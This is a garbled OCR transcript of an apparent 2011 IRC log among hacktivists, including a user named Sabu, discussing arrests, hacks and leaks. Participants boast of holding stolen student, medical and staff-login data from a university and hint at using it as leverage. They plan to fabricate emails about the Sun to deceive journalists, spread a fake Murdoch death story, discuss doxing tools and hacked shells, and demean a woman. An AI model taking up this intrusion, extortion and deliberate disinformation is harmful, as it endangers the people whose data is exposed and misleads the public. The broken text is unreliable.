I have copies of various personal info on students thanks to 



18:27 < 
18:27 < 
that 
18:28 
etc 
18:28 
18:28 
18:28 < 
18:28 < 
18:28 
18:29 

any further 
18:29 < 
18:29 
18:29 
18:29 




as in, personal info on every first year engineering student, 

why would they email all the personal info :S 
she kept attaching the wrong file xD 

Imao 

did you tell them what you found when they had you in the meeting/ 
or, in one case, clicked the wrong mailing list 
I mentioned to them it would be "bad for both of us" if it went 

and hinted heavily that if put in a corner... 

S[J||kerpi a-E5807C43 . perfect-privacy . com] has joined #!sunnydays 
y^^unnydays [+o by ChanServ 




Not to mention the fact I still have most of their staff logins 
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18:29 < 
18:30 < 



and likely some medical records 



#! sunnydays .log 
emai 1 s , passwords . . . 

If I want, I can get academic records, possibly credit cards, 



18:30 



service system is SQLi vuln and runnoing on a rooted box 



18:30 < 
18:30 < 
18:31 
18:31 
18:31 
18:31 < 
18:32 < 
18:33 < 
18:33 < 
18:33 < 
18:33 < 
18:34 < 
decides 
18:34 < 
18:36 < 
18:36 < 
18:37 < 
18:37 < 
18:37 
18:39 
18:39 
18:39 
18:39 
18:40 
18:40 

negligence 




In fact, credit cards will be easy - the campus account self 



18:40 
18:40 



The kernel was last patched in 2006 
they are NOT running an IDS 

they do NOT run chkrootkit or snort or such 
all their security is "last" 

and guess what idiot forgot to unset lastlog? 

lolololol 

OH! Self Signed SSL certs! 
thats another funny one 

"lets self sign them, too expensive to buy them" 

government funded institution with millions of euros for IT 
lets self sign em" 

(my Fi ref ox goes berzerk when it sees those) ( 
then theres the buggy CMS, unpatched kernels... 
Cisco routers that I can own in 60 seconds using TELNET 
or how fast can I type 
ci SCO 
lol 

what are you talking about? 
mode/*! sunnydays [+o ^^^^^M by 

http : //www . youtuDe7com7watchyv=GmgpvjTBf n4 

has joined #! sunnydays 
! sunnydays L+o by ChanServ 

Im discussing all the evidence of serious criminal 

ave against a certain institution in case they try rape me 
ohai , any news who got raided? 
ah okay 




c^Wc 



brb again 

Bnot yet 



18:40 <' 

18:40 <(cfsabu> 
18:40 <©Sabu> "bUt 
18:40 <@Sabu> lets all do the obvious checks 
18:40 <@Sabu> investigate who is missing 

18:41 <©Sabu> lets figure out all the admins/opers that are missing 
18:41 <@Sabu> our internal crew 

18:41 <@Sabu> pretty much whoever in here and #buccaneers 



18:41 <@Sabu> so far we seem ok here. 



18:42 
18:42 
18:43 
18:44 
18:44 
18:46 
trol 1 i n 
18:49 < 
18:49 <' 
18:49 <' 
18:49 < 
18:50 < 



and 




here. 






tney 1 



may just be sleeping 



has quit [User quit: Lost terminal] 
has joined #! sunnydays 
by ChanServ 



been behind - do we actually have emails, or are we 



was here earlier 

en news of the raids broke 

IDK 

- I think asleep? 

_ allegations are that the network of hackers allegedly carried 

out distributed denial of service attacks on numerous victims including 
corporations and their websites." < — sounds more like they v& some random loic 
kids 




18:50 < 
18:51 < 
18:52 < 
18:53 <_ 
touch wiT 




aye. 



to be honest, if you look at all the arrests so far 
they are ONLY vanning LOIC kids 

^^^^^g 1. YOU mentioned that you might be able to put me in 
^you^iacki ng buddies from Lulzsec. And given your superb work 
on the News of the Screws, I was hopeful that you might be able to put me in 
touch with the people who did that 

And if I can be so bold... to offer an exclusive 
I'll explain why 
you 1337 boys want to talk to this guy? he's a bad-ass 



18:53 < 
18:53 < 
18:53 < 




_ any ol 

journalist who laughs at our shit all day 
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18:54 < 
most pro" 
18:54 < 

18:54 < 

making a no 
18:55 <" 
18:55 < 

18:55 < . 

suspect to be in USA 
18:55 <' 



# lsunnydays.log 
cause going after the "others" is way too expensive and 
their possibilities. 
- want me to handle him? 

So they keep vanning loic kids, say "this was a triumph. . .we' re 
e here: huge success!" and continue to look like total morons. 





and yeah 



I want your opinion on a sy stem upgrade, ill PM 
away for 10 hours, but ^^^H was the last person I'd 



go ahead :D be from Lulzsec for him if you 





wanna 
18:55 < 
18:56 <' 
18:56 <' 
18:56 
18:56 
18:56 

18:56 

no arrests 
Brooklyn 
18:57 <' 
18:57 < 
moment 
18:57 < 
"you'll 
18:57 < 
19:00 < 
all is goo 
19:00 
19:07 
19:11 
19:11 
19:18 
19:21 
19:21 
19:21 
19:22 
screen 

adv_wi ndownstAO) 
19:24 



working on a simple 'custom browser' kind of thing to make 

doxing easier, ]ust finished writing the basic 
idea. . . http://pastehtml .com/view/b0zw67djq.html 
19:24 <S^HH thoughts? 

19:24 <^^^^^^| (this is just the tabbed browser kind of deal) 
19:24 ~ 

1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 
! sunnydays 



he's really nice 

^■^H ist einen Deutch (l think he german) 
h^^^^ng a 4000-word piece for his magazine 
or Something :) 

and - where will I talk him? 
AnonOps 

In New York, bureau spokeswoman Adrienne Senatore reiterated that 
ad taken place during this morning's raids in Long Island and 

okay so someone from LulzSec will contact you in a 

one guy was like "I'll handle this" and I'm like 
he's like "I'll handle this" and I'm like "word" 
_ that's how our exchanges transpire 

Okay, so It seems that everyone is safe and sailing strong. Now that 
we'll go to the bar. aa rake care guys & girl 
has left #! sunnydays [] 

Talking to him nao 
gui se 

ISFlong ago did we plan the SUn hack again? 
as in, start discussing it? 

sabu r u using a macbook? that could be the problem with a remote 
typos (jumps over the screen (specially using nicklist.pl & 





JOT ne 
19:24 
19:25 
19:26 
19:27 
19 



mode/#! sunnydays [+qo 
pokes Sabu anc 
what's up 
points at 
also hai 




by ChanServ 



27 < 

19:31 i 

[Ping timeout 
19:32 <@Sabu> yo yo 
19:32 <@Sabu> im here 



19:32 
19:33 



Sabu> 



yo 



|kerpia-FBCDF7B6.ae-static.anteldata.net.uy] has quit 



twas trolling .. lets keep it up because its fucking them 



up 

19 
19 
19 



34 <@Sabu> wheres ^^^^ 

34 <@Sabu> ^^^m 

34 <@Sabu> yoL^njcking cock 

19:34 <@Sabu> I kind of got worried 

19:34 <©Sabu> ok so 

19:34 <@Sabu> everyone from our core group 

19:35 <@Sabu> is secured then? 

19:35 "^^■hugsJH^H glad u r ok <3 

19:35 <~^^^H ^fsabu 
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#! sunnydays .log 

sex ! 
3 

hey i was away for lOh 

I FUCKING SLEPT 

thats all 

3 

bro 

you were so fucking drunk 
true 

you made like this crazy conspiracy theory 

thats why i slept lOh 
that me and ^^^^H were aliens 

heh 

and were fucking 

wat? 
or some shit 

hey Sabu, do we actually have emails of Sun or were 



you 




an alien!? 
it's a troll 

we do not have mails but its best we fucking control the 




err 

mindfuck the internets 

so what are we going to do once we don't deliver :x 
Sabu: whats with this kevin guy now=? 
here what we do 
oh wait wait 
wait I love your idea 
we feed the emails exclusively 

right, to troll people 

iSabu> YES 

instead of leaking 
right yes 
:D 

nice 

)u> we fabricate intricate emails 

19:37 <(£^^| well we can say we're not posting them as we don't want to intefer 
with evioence but if they lie we will release 
19:37 <@Sabu> and let media post them 
19:37 <@Sabu> without investigation 

19:37 <^Miit will make them think twice about lieing 

19:38 <^|^|^^P Sabu, I can spin that into "we don't want to harm anonymous 
sources Tocatea wi thi n these emails, and we don't have enough time to sort them, 
so we're giving exclu sives involving certain mails" 

19:38 <@Sabu> 19:37 <(S^M Well we can say we're not posting them as we don't 
want to intefer with e^^ence but if they lie we will release 




19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 



38 
38 
38 
38 
38 
38 
38 
38 
38 



how about that? 

haha 

<©Sabu> or that 
<^^^^H pgood idea 

<©Sabu> WIN. 

<(c^^Hnah, fabricating them will 
<^J^B^B splendid \o/ 
<@Sabu> lets hold like some press 



just make us look bad 

conference 
1 i ke 

<@|^| i dont fabricate things 

<(dSabu> we have agreed that the release of the mails 
<@Sabu> will harm the investigative efforts of the met 
<@Sabu> into sun's corruptive actions 
regarding hacking voicemails 
etc etc 

nods 
~t'l1 be LOL 

how did the hearing go btw? 
i slept thru it : ( 
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#! sunnydays.log 

19:39 <^H^^HI we could screencap fake mails and blur out random names 
19:39 <@SaDu> the hearing was AMAZING 
19:39 <@Sabu> why? 
19:39 <@Sabu> murdoch got pie'd 
19:39 <(asabu> ROFL 
19:40 <' 
19:40 < 

19:40 <^^H^^B bro I fell asleep halfway through watching it 
19:40 <(asabu> some random guy smacked him with a foam pie 





and I missed that 

"haha naice.. i have to read up on the news now 

?Sabu> I saw it and threw my laptop across the room 
^^^^g I was randomly watching the dude talking about not being told by 

and his monotone voice was making me die inside, and I fell asleep 
during the live feed 

19:40 <^^^^^^| missed the shaving ownage 



19:40 <' 
19:40 < 
19:40 <' 
19:40 < 
his son 




it's been funny 

they didn't happen to mention the Sun hacking during the 



19:40 < 
19:41 < 

19:43 <' 
confere nceV 

19:43 <^^| i dont know i've only watched bits of it it kinda boring to me 

19:44 < (asapu > his son was a complete gay 
19:44 <^^| the foam pie thing was good tho 
19:44 <(aSaDu> I mean he seriously 
19:44 < @Sabu> fu cking 

19:44 <^H^|^P I think if we make fake statements about emails, but make them 
seem kin^o^^ose to what they might have actually done, we may force them into 
admitting shit 
19:44 <@Sabu> was a twat 

<| 
<| 



19:44 
19:44 
19:44 <' 
19:44 <' 
19:45 < 
19:45 <' 
19:45 <' 




LOL 

like "admit it or we release" 

youtube link? 



and they do 
do it up 

I could use some examples of press emails to template from 

ut if we make claims of certain things and the know iyt's not true 



they know we bluffing and will lie like fuck 




19:45 <' 
19:46 <' _ 
know what 
19:46 < 

19:46 < 

for musicians today 

19:59 ™ " 

20:00 <@SaBu>~oir 



I wouldn't 



we can be vague 

got any examples? if we release email snippets, 

they would look like 

we could really use an actual email to base off 
oh and Sabu, was talking to darkspline, we're gonna outsource 



has quit [input/output error] 



20:00 <@Sabu> im going to take a nap for 2-3 hours if anything crazy happens 
call/txt me 

20 : 00 <©Sabu> http : //www. youtube . com/watch?v=cNl-Llvs-to&NR=l&f eatu re=fvwp 
hmm 
14 arrests 

what was that about? 
"the shells are not there cause the address are pointing to a diff 



20:02 
20:02 
20:02 < 
20:02 < 
pi ace 
20:04 <' 
20:04 <' 
20:05 < 

20:06 < . 

before attac 



sweet dreams sabu :d 
how do you mean? 

ttp : //www. youtube. com/watch?v=H3Sf SB jo7YE 




»> pie attack 



20:08 

20:09 



dont have my notes here, do u remember the ip adress of the server 
i dont : / 

still i think they wee sun containers with mirrored zfs pools 
http : // pastehtml . com/vi ew/bl026x5qu . html 
al so http : //pastebi n . com/gdvWBf cV 
:DF 
:D* 

looooooooooooooooooooooooooooooooooooooooooooooooooooooong.cat] has quit 

[Conn ection rese t by peer] 
20:47 ^1 ^^^g [^kerpia-E5807c43. perfect-privacy. com] has joined #!sunnydays 
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20:50 H _ 
#! sunnyoays 




#! sunnydays .log 
I4B27001E.B8C70A02.3978755B.IP] has joined 

BD48B2B5.ClF9627F.6FB8A685.IP] has joined #! sunnydays 



interview thing is lulz 

used most this one or the one on aop network 



known as 
this 
chan are 
net 

s 

both :P 

1 dont know any other chans actually 
#anonnews i guess 
is this net secure? 

Secure is a relative term, 
idd 

We are here, I think that says enough 
also Sabu, wake up D: 
that guy is funny, huh 

aye 



sunnydays 
ohai dere 
jop 

also, 

(or VPSes, rather), so as 
reasonable secure :P 

reasonably* 




has joined #! sunnydays 
by ChanServ 



the only oper on here, using my own servers 
you trust me you can consider this net 




Its directly conected to the fbi probably 
_ lol 

D 

hehe 

speaking of which, if you dislike US servers, 
onjassiem.cryto.net 
brb 

bd48b2b5.C1f9627f.6fb8a685.ip] has quit [User quit: 



there's also a 



been found dead 
have ingested a 
garden 

cooked , ' 
consumed 
21:22 < 
suicide. 




qui ck 

has someone a backup 
the full text 
of our story? 
uhh probably, hold on 

Rupert Murdoch, the controversial media mogul, has reportedly 
in his garden, pol ice annou nce. Murdoch, aged 80, has said to 
large quantity of ^^^^^^ before stumbling into his famous 
late last night, passing out in the early hours of the morning, 
"we found the chemicals sitting beside a kitchen table, recently 
icer states. "From what we can gather, Murdoch melted and 
quantities of it before exiting into his garden." 

Authorities would not comment on whether this was a planned 
the general consensus among locals and unnamed sources is that 



this is^ 

21:22 <^|^H^H| One detective elaborates. "Officers on the scene report a broken 
glass, a box oV vintage wine, and what seems to be a family album strewn across 
the floor, containing images from days gone by, some containing handpainted 
portraits of Murdoch in his early days, donning a top hat and monocle." 



21:22 <i_ 
particular 
favourite" 
21:22 < 
21:22 < 
questioning 
21:22 < 




Another officer reveals that Murdoch was found slumped over a 

arge garden hedge fashioned into a galloping horse. "His 
butler, Davidson, reports. 
http://freze.it/px 
Butler Davidson has since been taken into custody for further 

http://freze.it/px 
comix tho, unfortunately 



fine i hope 
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#! sunnydays .log 

21:24 <(£H^^H LOL 
21:24 <^^^9^| 

http://www^n^Hiqui rer.net/inqui rer/news/2095100/sky-news-uncovers-mysterious-hac 
ker-loui se-boat 
21:24 < 



21:24 
21:25 
21:25 
21:25 
21:25 
#opita1y 
21:25 < 
21:25 < 
21:25 < 
21:26 < 
21:26 ■ 
21:26 < 
21:27 
21:27 
21:27 
21:27 ~ 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 < 
21:27 < 
21:27 
21:28 
21:28 
21:28 
21:28 
21:28 
21:28 < 
21:28 < 
21:28 < 
21:28 < 
21:28 < 
21:28 
21:32 
21:32 
21:33 
21:37 
21:37 
21:37 
21:37 
21:37 
21:37 
21:37 < 
21:37 < 
21:38 < 
21:38 
21:38 I 
KABOOM . 
21:38 < 
21:38 < 
21:39 < 
21:39 < 




bd48b2b5.C1f9627f.6fb8a685.ip] has joined #!sunnydays 




WHAT 

-ChanServ 



01:29 -ChanServ 
: o 

that would be ■ 




Information for channel 
Founder: MarBack 




by ChanServ 



[come back later] 




IS now known as 

who gave you that intoV 

mode/#! sunnydays [+o 

yeah 

was kicked from #! sunnydays by 
it was a mi ssunderstandi ng 
oh? 
lol 
dude 

since was not always founder 
dont scare me 

no he took it recently i think 
as opitaly screwed up 
yeah and this dude asked me in the gap 

wats going on guis? 
where phre still got founder 
and ^1 does not hav 
e 

phre got busted 
he was founder before 
yeah 

and this guy asked me directly after that 

but that's been a week or more 
yeah i kinda forgot it always 
(idk tho why he keeps asking me) 
^ he's kinda annoying 
yeah but he has good intentions 
send him to marback :) 
and that article, 
i don't understand what tf 
this is about me 
taking a nap 
_ cya ;) 
makes sense 
rest wel 1 , si r 

which article? 

the one you poasted above 
about Louise Boat 

4b27001e.b8C70a02.3978755b.ip] has quit [User quit: 

wrong button, 
oh 

I was sent that by journalist 
dont understand the article 
probably too hangover 





wtf? 

ns IS about lol 




21:40 <(< 

http://www.thei nqui rer . net/i nqui re r/news/2095100/sky- news -uncover s-mysterious-hac 
ker-louise-boat 

the fuck 
hahahaha 

yep 

Jumb bitch 

thats what im LOLing at 
its so epic 
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#! sunnydays .log 

just made my day 
omg 

im laughting so hard 



Arci szewski 



the prob is that i haz no sound atm lol 

uhm 

wait what 

in addition to the activities in San Jose, Scott Matthew 

21, was arrested today by FBI agents on charges of intentional 
damage to a protected computer. Arci szewski is charged in a complaint filed in 
the Middle District of Florida and made his initial appearance this afternoon in 
federal court i n Orlando, Fla. 

21:56 <(c^^^^| According to the complaint, on June 21, 2011, Arci szewski 
allegedly accessed without authorization the Tampa Bay infraGard website and 

uploaded three files. 

- - - - , ^ 



21:56 <' 
21:56 <^^^H Sabu: 

21: 56 < g^^^M http://www.justice.gov/opa/pr/2011/July/ll-opa-944.html 
21:57 <(£^^^ The individuals named in the San Jose indictment are: Christopher 
Wayne Cooper, 23, aka "Anthrophobi c ; " Joshua John Covelli, 26, aka "Absolem" and 
"Toxic;" Keith Wilson Downey, 26; Mercedes Renee Haefer, 20, aka "No" and "mmmm;' 
Donald Husband, 29, aka "Ananon;" Vincent Charles Kershaw, 27, aka ' 
"^^H and "Reaper;" Ethan Miles, 33; James C. Murphy, 36; Drew Alan Vhi 
2b, aka "DrewOlO;" Jeffrey Puglisi, 28, aka "Jeffer," "Jefferp" and "Ji 



21:57 <' 
21:57 < 
21:57 < 



ips, 
Danie 



thats old 
read belo 

Also today, a related complaint unsealed in the District of New 

Jersey charges Lance Moore, 21, of Las Cruces, N.M., with allegedly stealing 
confidential business information stored on AT&T's servers and posting it on a 
public file sharing site. 




21:58 < 

21:58 < 

21:59 < 

21:59 < 




1 cant remember anything abouz AT&T 
or was it in the last lulzpack? 

yes it was 

Today's operational activities were done in coordination with the 

Metropolitan Police Service in the united Kingdom and the Dutch National Police 
Agency. The FBI thanks the multiple international, federal and domestic law 
enforcement agencies who continue to support these operations. 
21:59 <(r . . - . . 

22:00 <G 
22:00 <(< 
22:00 <<i 
22:01 <(< 
nimbuzz 

also 




dutch police hmm 
they start to cooperate 
thats a problem 

they always did that 

i just wonder what the dutch police had to don with it, probably 



22:01 < 
22:01 < 



02:04 



spying on one of my vpns 



lyou would have a job watching me, they were 



22:01 < 
22:01 < 
ssl certs 
22:01 < 
22:01 < 
22:01 < 
22:03 < 
22:03 < 
22:04 
22:04 
22:05 
22:05 
22:05 
22:05 < 
22:05 < 
22:05 
22:05 ~ 
22:05 
22:07 < 




02:04 
02:0^ 



last night 

FBI was spying on one of my usa vpns. 



22:07 < 
22:07 < 




anged 

02:04 ^^H^^^H how obvious 
02:04 ^^^^H #FBIFail 
ol ^^^^^ 

next step is building an international antisec prision 
'•prison 

[]^^kerpi a-18FBlFE5.bu.edu] has joined #! sunnydays 
ho la 
sup 

what's up ? :-\ 

all good 

sorry, misunderstanding 

said you were busted lol 

mode/^Tsunnydays [+oo 



al 1 my 




this one im using? 



lol no i 'm not :> 
does anyone have a server i could 



use a shell on i dont really trust 



just for i rc : 3 
yep maybe the 



box, but you should ask him 
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22:08 < 
22:08 < 
22:08 < 
twitter spam 
22:08 <' 




#! sunnydays .log 
I have not paid bills, its dead til tomorow 



I forgot to pay cos the invoice email box was filled with 



22:09 
22:09 



dont think so 

and the other names was the older stuff 



i have some hacked boxes with probably dead admins 
"yeh i got hacked shells i'd rather a legit one 

so 

thi s one is hacked im using thus i dont really trust it 
^^^^^1 got arrested 
^^g^^ar rested 

and our AT&T leaker got arrested 

"uhm i 
that 
ohi 

)ut yes, what i said above 
scroll up 
oh 

chri St 

who wrote that 

"what http : //www . j usti ce . gov/opa/pr/2011/J ul y/ll-opa-944 . html 
infragard + AT&T related arrests 

wan t what7 
<3 
but 
srsly 

who was arrested for infragard? 
i dont know 
no name given 
n the ppl who hacked infragard are here? 
where is the infragard article? 
"oh 
ri ght 

in addition to the activities in San Jose, Scott Matthew 

21, was arrested today by FBI agents on charges of intentional 
damage to a protected computer. Arciszewski is charged in a complaint filed in 
the Middle District of Florida and made his initial appearance this afternoon in 
federal court in Orlando, Fla. 

same url 

It says the Tampa Bay Infragard 
we only hit Connecticut and Atlanta 

so it might have been true 

uhm 

lemme see 

interestingly enough :une 21st is one day after we announced our 

second infragard (Connecticut) breach 

but as far as I know we never touched Tampa Bay 
"never heard anything about TB either 
probably unrelated actually, 
maybe our second hack inspired people to try and hack more 
infragard 

quite possible indeed 

and they hacked it from their home box ... :o 

uhm. . 
dunno. . 

i do not remember this nicks 

the nicks mentioned are all the old arrests from decenber 
it's said r ight in the article 
did ^^^1 arrested again? 

"gah 

The defendants charged in the San Jose indictment allegedly 

conspired with others to intentionally damage protected computers at PayPal from 
Dec. 6, 2010, to Dec. 10, 2010 




Arci szews 




22:21 < 
22:21 < 

22:22 < _ 

Grand Jury 




then the nicks are listed. 
that#s the old bust obviously 
how could they bust 



at all nowss he's waiting for the 
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22:22 < 
22:22 < 
morning, an 
22:22 <" 
22:22 
22:22 
22:22 
22:22 
22:22 
22:23 < 




have been arrested before 




22:23 < 

22:23 < 

22:23 < 

22:23 < 




people in here, 

expecting attention 



# Isunnydays.log 
he's basically untouchable atm 

I see, but it also states that 14 more have been arrested this 

some of those people 

grgqergqerh2erheTF 
yup 

this paypal cso 
is a complete asshat 
ut only 2 mentioned in the article it seems 
AT&T + infragard 
to be honest, and I'm probably voicing the thoughts of a few 
is just a glorified slut that sits around in her underwear 



so maybe this will teach her to go whore somewhere else 



but wai r hm 

The defendants are charged with various counts of conspiracy and 

intentional damage to a protected computer. They will make initial appearances 
throughout the day in the districts in which they were arrested, 
throughout the day, so today? :o 
^^^^^1 agree with the first part 

m 

but not with the second 
this makes no sense... 
we need to improve the sec 

seems to me that they're chopping off the camwhores 

in an attempt to leverage their way into more serious criminals 

_ while using the PayPal ddoS as an excuse to check their machines 
why ppl dont ask how c over thei r asses better? thats anonsec for 

i dont understand how could be in court today for paypal 

ecember 

three of the people out of those fourteen openly show 



22: 


23 


<i 


22: 


23 


<i 


22: 


23 


<i 


22: 


23 


<i 


22: 


23 


<i 


22: 


23 


<i 


22: 


24 


<i 




(us) 




22: 


24 




22: 


24 




22: 


24 







attacks in 

22:24 < _ 

thei r faces on webcam 



22:24 
22:24 
22:24 
22:25 
chat 
22:25 
22:25 
anything'T 
22:25 <■ 
22:25 < 
22:26 < 
22:27 < 
22:27 < 



he is waiting for grand jury 
this makes no sense to me 
they've been asking for it for months 
yep i know ^^^^H i couldnt believe it 



when i saw them on tiny 



hmm wasnt mama chatting ppl up on tiychat etc? 

agreed, they kind of have the mentality that they haven't done 

so wouldn't mind if they got arrested 
yep_ 
____ +] 

_ she s always pushing ppl to show their faces 
whats wrong with sitting at the computer in underwear :o? 

there really is no room for people like her on AnonOps, her only 




function was to distract men by trying to look sexy, despite the fact that she's 

pasty and ugly 

only good-looking women should do that 
puts^^aressi ng gown on 
there ! 
happy? 
:D 




m waiting to see u. 



in webcam using your victoria's secret 



cling to you 
22:29 <" 
22:29 < 
22:29 < 
22:29 
22:29 
22:29 
22:29 




I have seen on webcam 

lol :d i have some nice underwear 

though agreed @ with 

stockings and suspenoersare actua 
: P 

i 11 buy some shells to share here 
waiting for vps suggestions 

take stuff in a nice country 
i 11 do 
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#! sunnydays .log 

XD 

yawns 

should we think to restore the donations ? 

onations? 

i told you never to tell ppl of our webcam encounter :o 

The charge of intentional damage to a protected computer carries 

a maximum penalty of 10 years in prison and a $250,000 fine. Each count of 
conspiracy carries a maximum penalty of five years in prison and a $250,000 fine. 



22:29 
22:29 
22:30 
22:31 
22:31 



22:31 < 




22:31 < 

22:31 < 

to him/her 
22:32 < 
22:32 < 
22:32 
22:32 
22:32 
22:32 
22:32 
22:33 < 
22:33 < 

22:33 < 

webcam many t 
under 



_ there is something seriously wrong with America 
we should troll with a fake persona and see what happen after 




\ 

if 
ok 



got pwnd 




current expos 
system 
22:35 < 
22:35 < 
22:35 < 
22:35 < 
22:35 < 




_ we know she s sniching 
well you'd have to use a real person? 
:0 

looks at his list of ppl he hates 
lol 

we can think to do a reverse social engineering 

do you chaps ever worry about he's shown his face on 

imes, and he's having us retweet h^wiacking escapades on twitter 

her nickname or so ? 

is kinda careless 
oorit know him long but noticed this, yes 
talking about... what happened to ^^^^ 

Rwas once a good guy 
rote a lot of malware 
he's a nice kid, but I think he's gonna get arrested given his 
ure, and I don't want to see any of us harmed due to logs on his 

see thats all ways the problem 
other ppl logging 

never did, he only gave me info some times 

I'm most worried about ^^^g logs to be honest 

uhm. . . . 

apparently it was a "ming boggling" ammount 

" nd* 

word is that H^^l recorded 100% of Sabu/my skype calls 
but that coul^D^i false word 

hmmm as long as theres no personal identifiable information there 

0 worries 
A this 

there isn't 
I was very careful 
which is why we never talk about such shit either :p 
i wouldnt even tell you what my favorite pizza was! 
i still didnt got this whole ^^^^ thing 

hahaha 

cheese and pepperoni 

'peperoni" please :> 

1 like the ham and pineapple 
D 

^^^^^1 now that was themissing piece of the puzzle from them. 

if I'm being honest, I should have been arrested already given 
the WBC video, but maybe they simply don't give a fuck 
that cause is better on this 
we pose as a^londie but she s 
redhead 
she poses* 
im def blonde : ( 
and what is this 

arrested i hear on anonps? 
pic or gtfo 
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22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 



39 
39 
39 
39 
39 
39 
39 
39 
40 
40 
40 
40 
40 
40 
40 
40 
40 
40 
40 
41 
41 
41 
41 
41 
41 
41 
41 





#! sunnydays .log 

lol 

A 

what? 

XD 

he's arrested? 

said on #anonops ... 2nd time now 

>#anonops 

but i dont know where that comes from 

how? 

can someone contact him some how? 

last saw him tweet four days ago, will we DM him? 
DM is an idea 

okay let me check when he was last on Jabber 
his jabber is off for a while tho 
died over a week ago 

aint on ire anymore 



and his shell 
hope he is ok 
since then he 




far as possi 
22:41 <' 




so say we al 1 . . 
do not saw him in jabber as few days 
he did say he was taking a break though 

yup 
FUC K 

in fact I have an interest DM from him, let me grab it 
i cant really believe it tbh 
1 wonder if we can do this forever 
u should move to ccc.de with jabber i know ccc.de will cover as 

e 

people will do this forever 
yeah 

whether its us or someone else 
right 

ccc.de doesnt log anything afaik 
DM'd me 11 hours ago 




proper email 



Nice work wTth Sun. Do you guys have everything you need for a 

release, tpb pass etc? I don't want to leave you guys hanging, 
uhm 

thats good i guess then 
and i know they have the will to cover us as much as possible 
ask him to contact you on jabber or so? 

m 

oh fuck 

http://www. foxnews . com/sci tech/2011/07/19/1 eading-member-1 ulzsec-hacker-squad-arr 
ested-in-london/ 

is this legit? 
ah 

backlog 




22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 



42 
42 
42 
42 
42 
42 
42 
43 
43 
43 
43 





how 



didnt read 
sec 
can it be? 
we 're al 1 here ; 
lemme read 

was 

oh dear 




not lulzsec 

should be safe but you will likely not be hearing 



read the above article 



now, gotta make sure 
sure that is really him and not a fed. 
if you guys have a way to confirm if it is really him 
I might 

law enforcement officials confirmed to FoxNews.com that the 

the juvenile hacker, who goes by the online user name ^^HH was the 
a sweeping sting of arrests Tuesday, in which 16 suspecte^iackers were 
arrested in states across the country, as FoxNews.com first reported. 
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22:44 <' 

http://www 



# lsunnydays.log 

Read more: 

oxnews .com/sci tech/2011/07/19/1 eading-member-1 ulzsec-hacker-squad-arr 



ested-i n-1 ondon/#i xzzlsauDSvv6 



22:44 
22:44 

22:44 
shell 




was 16 years old? 
r~u all using your neighbor wifi with changed MAC and then vpn to 



or vps and vpn again (or something) ? 



22:44 <(asabu> supz ust woke up 




mhh hmm 

^■^^Hreallly get locked up/ 

Sam^^^^^ was apparently arrested 

ri ght 

Sabu: we worry more about 

fuck fuck fuck 

those jabber nicks are now compromised 

7 



if you had 
agh i hate' 



22:46 <( 



on your list 

o xll again 
yar moving to new jabber 

me too 

ditching jabber 

ok what servers/dns did 
which jabber list? 

on the fox article? 

Sabu> wit 

gibson, which was used as seebbox for all torrents 



have access to ? 



22:46 <@Sabu>how do you know 



22:46 
22:46 



also served as 



__ was arrested 
IS and my ire shell 



we need to maike sure the police using 

and things 

Sabu, read the Fox News article 



shit can't access 



orservers 
22:46 <^ 

22:46 <(<. 

http : //www. f oxnews . com/sci tech/2011/07/19/1 eadi ng-member-1 ul zsec-hacker-squad-arr 
ested-i n-london / 

22:46 <S^^H^| Sabu: read the article above 
22:46 < ©Sabu> how the FUCK they find 
22:47 <(£^^^H fuck hate to tunnel xll 

22:47 < 

22:47 <^P^^^H no diea :/ 
22:47 <(asabu> was ti really him ? 
22:47 <@Sabu> the dox released out there publicly 
22:47 <@Sabu> was it him? 




said, he got a DM llh ago from him 
uk.. :-\ 



as 

16 years ol 

Sabu, read the article. ._. 
16-year-old from London 
known to be "^^^H 
that's all it says 
Sabu PM 

we can assume the dox must be wrong, because the dude they 
thought he was is older than 16 
22:47 <@Sabu> guys 
22:47 <@Sabu> lets be real 
22:47 <@Sabu> can not be 16. 

22:47 K^^m^^m Sabu, PM. 

<<^^^^M Sabu: yeah i doubt that 
<^^H| why cant he be 16? 

<^^^|~ still, we should make sure he's locked out of everything till we can 

veri fy? 

22:48 <@Sabu> we did a lot of work with 
22:48 <@Sabu> he just did not act 16 
22:48 <^^| he had access to the lulzsec site/dns? 
22:48 <(aSaDu> yes 

well it's possible but i really doubt he was 16 
but y would they drop his nick then? 
I have root passwords and access to the lulzsec site/dns too, he 



22:48 
22:48 
22:48 
22:48 



22:48 < 
22:48 <' 
22:49 




gave them to me three weeks ago 
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# lsunnydays.log 
we win change all the passwords 
why? 16yr olds can't be mature? 
lol 



22:49 < 
22:49 < 
22:49 
22:49 
22:49 
22:49 < 

22:49 < 

22:49 <^^^Hi nop u cant 

22:49 <(^^K5 listen man I just woke up 
22:49 <@Sabu> this is all crazy to me 
22:49 <' 




i suggest to do it now 
m not saying that 




Sabu: I don't think they'd arrest someone in London - where 
ing him ^■■l without knowing that it's 
but I D^^Hiim on twitter 
i know im just saying we dont really know his age so it could be 

maybe he is actually okay 



did _ 
1 i cks' 



had access to the secure ire? 
the "sabu 

also.. The Dutch National Police Agency arrested four individuals 

today for alleged related cybercrimes, according to a Department of Justice 
i ndi ctment . 



22:50 
22:50 < 
22:50 <' 
22:50 <' 



Sabu licks back 

that IS probably nimbuzz/antisecnl 
yes, I read that 
let me check 




22:50 <@Sabu> oh man 
22:50 



The Dutch National Police Agency arrested four individuals today 
for all eged rela ted cybercrimes, according to a Department of Justice indictment. 
22:50 <^^^^^H 14 more people arrested this morning as well in US, Sabu, 
iNo/etc 

a shitty day 

that still puzzles me 

people please., need to put up a safe communication room, and be 

careful 

22:51 <@Sabu> well the people they all arrested werent deep into our current 
organization, except for 




22:51 < 




ok where s 



about the jabber accounts compromised 



22:51 
22:51 



why would they arrest no/^^| a 2nd time? 

change all passwords and create new accounts 
u> yup 

(jabber and mail) 
we are not safe right now 
this is a true shit.. 
Sabu> shush. 



22:51 <@Sabu> everybody relax 



22:51 
22:51 
22:52 



wtf, can't find shit about dutch arrests 
yar dont panic :p 

Where's the police report of the arrest, where's the 



other stories? I'm on ly seeing Fox News 




22:53 
22:53 



foxnews is the only source about 

